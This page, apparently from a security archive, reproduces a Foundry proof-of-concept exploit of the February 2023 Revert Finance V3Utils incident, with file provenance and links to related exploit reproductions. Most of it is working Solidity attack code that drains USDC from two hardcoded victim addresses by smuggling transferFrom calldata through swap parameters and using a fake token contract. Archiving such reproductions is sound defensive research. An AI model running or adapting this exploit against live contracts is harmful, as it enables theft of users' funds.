Public reproduction file
src/test/2023-02/RevertFinance_exp.sol
Public reproduction file for dataset entry - RevertFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://mirror.xyz/revertfinance.eth/3sdpQ3v9vEKiOjaHXUi3TdEfhleAXXlAEWeODrRHJtU9// @TX10// https://etherscan.io/tx/0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d512interface V3Utils {13 struct SwapParams {14 address tokenIn;15 address tokenOut;16 uint256 amountIn;17 uint256 minAmountOut;18 address recipient; // recipient of tokenOut and leftover tokenIn (if any leftover)19 bytes swapData;20 bool unwrap; // if tokenIn or tokenOut is WETH - unwrap21 }23 function swap(24 SwapParams calldata params25 ) external;26}28contract ContractTest is Test {29 V3Utils utils = V3Utils(0x531110418d8591C92e9cBBFC722Db8FFb604FAFD);30 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);31 address[] victims = [0x067D0F9089743271058D4Bf2a1a29f4E9C6fdd1b, 0x4107A0A4a50AC2c4cc8C5a3954Bc01ff134506b2];32 uint256 counter;34 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);36 function setUp() public {37 cheats.createSelectFork("mainnet", 16_653_389);38 cheats.label(address(utils), "utils");39 cheats.label(address(USDC), "USDC");40 }42 function testExploit() external {43 for (uint256 i; i < victims.length; ++i) {44 uint256 transferAmount = USDC.balanceOf(victims[i]);45 if (USDC.allowance(victims[i], address(utils)) < transferAmount) {46 transferAmount = USDC.allowance(victims[i], address(utils));47 if (transferAmount == 0) continue;48 }49 bytes memory data = abi.encodeWithSignature(50 "transferFrom(address,address,uint256)", victims[i], address(this), transferAmount51 );52 bytes memory swapdata = abi.encode(address(USDC), address(this), data);53 V3Utils.SwapParams memory params = V3Utils.SwapParams({54 tokenIn: address(this),55 tokenOut: address(this),56 amountIn: 1,57 minAmountOut: 0,58 recipient: address(this),59 swapData: swapdata,60 unwrap: false61 });62 utils.swap(params);63 counter--;64 }66 emit log_named_decimal_uint(67 "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()68 );69 }71 function transferFrom(address from, address to, uint256 value) external returns (bool) {72 counter++;73 return true;74 }76 function approve(address spender, uint256 value) external returns (bool) {77 return true;78 }80 function transfer(address to, uint256 value) external returns (bool) {81 return true;82 }84 function balanceOf(85 address owner86 ) external view returns (uint256) {87 if (counter == 1) return 1;88 else return 0;89 }90}Analysis
Dataset entry
Public Foundry test for “- RevertFinance” (2023-02-18). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-02/BonqDAO_exp.solSame month in the dataset · 533 lines
- src/test/2023-02/CowSwap_exp.solSame month in the dataset · 64 lines
- src/test/2023-02/Dexible_exp.solSame month in the dataset · 83 lines
- src/test/2023-02/dForce_exp.solSame month in the dataset · 382 lines
- src/test/2023-02/DYNA_exp.solSame month in the dataset · 132 lines
- src/test/2023-02/EFVault_exp.solSame month in the dataset · 38 lines
- src/test/2023-02/FDP_exp.solSame month in the dataset · 114 lines
- src/test/2023-02/LaunchZone_exp.solSame month in the dataset · 146 lines
- src/test/2023-02/Orion_exp.solSame month in the dataset · 191 lines
- src/test/2023-02/Platypus_exp.solSame month in the dataset · 138 lines
- src/test/2023-02/Sheep_exp.solSame month in the dataset · 72 lines
- src/test/2023-02/USDs_exp.solSame month in the dataset · 51 lines
- src/test/2023-02/Starlink_exp.solSame month in the dataset · 80 lines
- src/test/2023-02/SwapX_exp.solSame month in the dataset · 83 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- RevertFinance
- Path
- src/test/2023-02/RevertFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4d926179940c7b34fa731f7134bf40bb17f16a75
- Language
- Solidity
- Size
- 91 lines
- Date
- 2023-02-18
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-02/RevertFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4d926179940c7b34fa731f7134bf40bb17f16a75, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.